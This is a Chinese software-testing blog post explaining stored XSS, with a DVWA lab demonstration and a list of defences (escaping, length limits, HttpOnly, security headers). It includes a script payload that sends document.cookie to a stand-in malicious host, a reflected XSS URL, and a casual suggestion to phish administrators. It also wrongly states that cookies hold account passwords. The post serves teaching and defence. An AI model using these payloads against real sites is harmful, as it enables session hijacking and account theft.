看图说话:持久式XSS(跨站)漏洞示例
Posted 软件测试经验与教训
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了看图说话:持久式XSS(跨站)漏洞示例相关的知识,希望对你有一定的参考价值。
★安全测试之XSS漏洞★
读书与实践是获取知识的主要渠道,学习的权力只掌握在每个人自己手中,让学习成为一种生活的习惯,这比任何名牌大学的校徽重要得多!
——张老师
张老师寄语
目 录
1 XSS(跨站)漏洞是什么?
2. 如何判断是否存在持久型XSS攻击风险?
3. 持久型XSS攻击的危害?
4. 怎么防止持久型XSS攻击呢?
1. XSS(跨站)漏洞是什么?
XSS是跨站脚本攻击(Cross Site Scripting)的简称,细心的同学可能发现了,英文缩写应该是"CSS”,但为什么不简称CSS呢,这是为了跟跟层叠样式表(Cascading Style Sheets,CSS)进行区别。
我们做界面测试时,常常在“输入框”中输入一些特殊字符、或者超长字符串来验证这个输入框是否做了数据格式校验或者边界值处理。我们也都知道,如果没有进行必要的格式验证或者边界值处理,就会影响用户体验。但不妨再深入思考一下,输入框中的数据若不作处理,除了“易用性”的问题,是否有更严重的情况呢?
答案是肯定的。
如果我们查看一个网页的源代码,我们会发现这个页面大都是html语言,html语言的一个典型特点是它的内容包含在一个个“标签”中,比如下图中的<head>、<meta >,程序根据“标签”来判定页面上每个元素的边界。
我们不妨设想一下,如果我们在输入框中输入一个“标签”,借此来伪造“边界”以欺骗程序,会发生什么呢?
其实这便是CSS攻击的原理了。用稍微专业的话来说就是:客户端发送请求到服务器端,服务器在没有验证请求中的信息的情况下,就对请求进行了处理,从而导致原本正常的页面被嵌入了恶意HTML代码。之后当其他用户访问该页面时,恶意代码自动执行,给用户造成了危害。
根据XSS漏洞攻击的特点可以分为两类,一类是持久型/存储型XSS,另一类是非持久型/反射型XSS:
持久型/存储型XSS:嵌入到web页面的恶意HTML代码被存储到服务器端(数据库),攻击行为将伴随着攻击数据一直存在。
非持久型/反射型XSS:反射型XSS是一次性的,仅对当次的页面访问产生影响。这类攻击的特点是在用户访问一个被攻击者篡改后的页面时,自动(或误导用户主动)跳转到一个恶意链接,之后将恶意代码植入到用户游览器并执行,从而达到攻击目的。
下文说说持久型/存储型XSS漏洞攻击。
2. 如何判断是否存在持久型XSS攻击风险?
1、打开我们的渗透测试的演练系统DVWA:
2、在Message 输入框里输入
提交:
3、重新打开靶机页面,之前输入脚本被执行:
4、进入数据库观察,看到JS脚本被保存到表内。如果再打开可以查看备注的web页面,就可以弹出我们添加的“message”信息——这代表我们攻击成功了,也证明网站存在持久式XSS(跨站)漏洞:
5、从上面的例子我们可以看出,存储型XSS的数据流向是:
浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器
3. 持久型XSS攻击的危害?
看到这里可能有人会疑惑,这个能有什么用啊?
我们不妨设想一下:如果把上面的“message”字段的值修改成如下的代码,会有什么结果?
<a id='attacker'>点关注、不迷路、张老师带你畅游测试路</a> <script>document.getElementById('attacker').href='http://www.a123.com/receiveCookies.html?'+document.cookie;</script>
注:http://www.a123.com/receiveCookies.html是恶意网站的url
如果是这样的恶意代码,那么攻击者就能获取到这个用户的cookie信息(cookie中包含了用户的登录账号和密码),进而以该用户角色登录系统。
除此之外,还会有哪些危害呢?
其实,既然都能够在Web 页面中注入代码了,那么我们能想到的危害它几乎都可以做到了。除了上面说的攻击者可以使用 XSS 漏洞窃取 Cookie,劫持帐户,还可以执行 ActiveX,执行 Flash 内容,强迫用户下载软件,或者是对硬盘和数据采取操作。
只要您点击了某些 URL,这一切便有可能发生!
网络钓鱼攻击通常利用 XSS 漏洞来伪装成合法站点。日常生活中可以看到很多这样的情况,比如某银行给你发来了一封电子邮件,一顿balabala然后诱使你点击某个超链接。如果仔细观察这个 URL,它实际上可能利用了银行网站中存在的漏洞,它们的形式类似于http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>,这里利用了“redirect”参数来执行攻击。
如果你足够狡猾且不怕死的话,可以将管理员定为攻击目标,你可以发送一封系统故障的邮件,并在正文附加包含攻击的url。在管理员打开该 URL 后,便可以执行许多恶意操作,例如窃取他的凭证。
总之一句话,XSS的危害性比我们能想象出的更严重!
4. 怎么防止持久型XSS攻击呢?
从网上搜了一下相关的攻击预防方法,大家可以参考一下:
1)在页面上添加用户输入长度限制;
2)在服务端(数据库)添加长度限制;
3)过滤用户输入的特殊字符串,对其进行转义,如下
示例字符串
"<script>document.getElementById('a').href=''+document.cookie;</script>",
下面是转义之后的字符串
StringEscapeUtils - <script>是不是document.getElementById('a').href=''+document.cookie;</script>HtmlUtils - <script>document.getElementById('a').href=''+document.cookie;</script>
4)http相关的设置:
A)cookie.setHttpOnly(true);--保护用户cookie
B)res.setHeader("X-Frame-Options", "SAMEORIGIN");
X-Frame-Options对应的属性值含义:
DENY:这个页面不允许被以frame的方式加载
SAMEORIGIN:这个页面只允许同源页面加载
<uri>:这个页面只能被特定的域加载
C)res.setHeader("X-xss-protection", "1;mode=block");
D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类型嗅探攻击。
5. 相关链接
感谢陪伴
未来不散
有深度|有广度|有温度
以上是关于看图说话:持久式XSS(跨站)漏洞示例的主要内容,如果未能解决你的问题,请参考以下文章